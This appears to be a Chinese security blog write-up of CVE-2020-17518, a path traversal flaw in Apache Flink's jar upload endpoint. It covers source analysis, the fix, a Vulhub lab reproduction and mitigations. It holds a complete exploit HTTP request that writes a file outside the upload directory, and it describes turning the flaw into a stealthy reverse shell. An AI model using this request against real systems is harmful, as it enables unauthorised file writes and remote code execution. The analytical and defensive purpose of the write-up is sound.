CVE-2020-17518源码分析与漏洞复现(Flink 路径遍历)
漏洞概述
漏洞名称:Apache Flink REST API 任意文件上传漏洞
漏洞编号:CVE-2020-17518
CVSS 评分:7.5
影响版本:Apache Flink 1.5.1 - 1.11.2
修复版本:≥ 1.11.3 或 ≥ 1.12.0
漏洞类型:路径遍历导致的任意文件写入
根本原因:REST API 处理文件上传时未对 filename
参数进行路径规范化校验,导致攻击者可通过 ../
实现目录穿越,将文件写入任意路径。
技术细节与源码分析
1. 漏洞触发原理
攻击者向 Flink 的 /jars/upload
接口提交恶意构造的 multipart/form-data
请求,在 filename
参数中注入路径遍历序列(如 ../../../tmp/pwned
),绕过安全校验将文件写入非预期目录。
2. 关键源码定位
漏洞类:org.apache.flink.runtime.rest.handler.job.JarUploadHandler
漏洞方法:handleRequest()
// 源码路径: flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/job/JarUploadHandler.java
@Overrideprotected CompletableFuture<JarUploadResponseBody> handleRequest(@Nonnull final HandlerRequest<EmptyRequestBody, EmptyMessageParameters> request,@Nonnull final RestfulGateway gateway) throws RestHandlerException {Collection<File> uploadedFiles = request.getUploadedFiles();if (uploadedFiles.size() != 1) {throw new RestHandlerException("Exactly 1 file must be sent, received " + uploadedFiles.size() + '.', HttpResponseStatus.BAD_REQUEST);}final Path fileUpload = uploadedFiles.iterator().next().toPath();return CompletableFuture.supplyAsync(() -> {if (!fileUpload.getFileName().toString().endsWith(".jar")) {throw new CompletionException(new RestHandlerException("Only Jar files are allowed.",HttpResponseStatus.BAD_REQUEST));} else {final Path destination = jarDir.resolve(UUID.randomUUID() + "_" + fileUpload.getFileName());//未过滤路径遍历字符 try {Files.move(fileUpload, destination);// 执行文件写入} catch (IOException e) {throw new CompletionException(new RestHandlerException(String.format("Could not move uploaded jar file [%s] to [%s].",fileUpload,destination),HttpResponseStatus.INTERNAL_SERVER_ERROR,e));}return new JarUploadResponseBody(destination.normalize().toString());}}, executor);
漏洞点分析:
1.fileUpload.getFileName()
-
直接使用用户输入的原始文件名(如
../../../evil.jar
) -
未进行路径过滤或规范化处理
2.jarDir.resolve()
路径拼接
-
resolve()
方法会将用户输入路径与系统路径拼接 -
攻击者可构造
../../etc/cron.d/pwn
实现目录穿越
3.Files.move()
文件写入
-
无权限校验,直接写入目标路径
-
服务进程通常以高权限(root)运行,可覆盖系统文件
3. 官方修复方案
修复提交:a5264a6f4152
修复代码:
// 修复后:使用 getName() 剥离路径信息
String fileName = new File(fileUpload.getFilename()).getName(); // 仅保留文件名
Path dest = Paths.get(uploadDir).resolve(fileName);
修复效果:
getName()
方法提取文件名(如../../pwn.txt
→pwn.txt
),阻断目录穿越。- 增加路径规范化逻辑,拒绝包含
..
的输入。
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问访问 http://target:8081,确认服务正常运行
攻击步骤
上传文件
1.发送如下数据包,即可上传一个文件到目标服务器的 /tmp/success
位置:
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
2.进入容器中验证
docker exec -it 容器id /bin/bash
- 上传成功
getshell
1.下载工具Goby
2.打开工具扫描靶机
- 发现漏洞
3. 验证漏洞
4.成功getshell
getshell
的原理应该是通过拼接路径,上传恶意jar包到/tmp/flink-web-*/flink-web-upload/
目录下,即可执行反弹shell的命令。- 相比通过
Submit New Job
处上传jar包,通过利用CVE-2020-17518漏洞上传的jar包,并不会在前台显示,因此具有一定的隐蔽性。
修复与缓解建议
- 官方升级:升级至 Flink ≥ 1.11.3 或 ≥ 1.12.0。
- 临时加固:
- 禁用未使用的REST API(如
jobmanager/jars/upload
)。 - 部署WAF规则拦截
filename
中的../
或空字符(%00
)。
- 禁用未使用的REST API(如
- 权限控制:以低权限账户运行Flink服务,限制目录写入范围。
总结
CVE-2020-17518 的根源在于 路径解析与用户输入的信任失衡。其利用链清晰展示了未过滤的用户输入如何通过路径遍历转化为RCE风险。修复需从代码层强化输入校验(如 getName()
剥离路径),并结合运行时防护(如权限最小化)。该漏洞的广泛利用(如Mirai僵尸网络)凸显了中间件安全在云原生架构中的关键性。
参考链接
- CVE-2020-17518 漏洞修复提交记录
- 漏洞原理与利用链分析(FreeBuf)
- 从文件上传到一键GetShell实战(天达云)
- Windows环境复现指南(FreeBuf)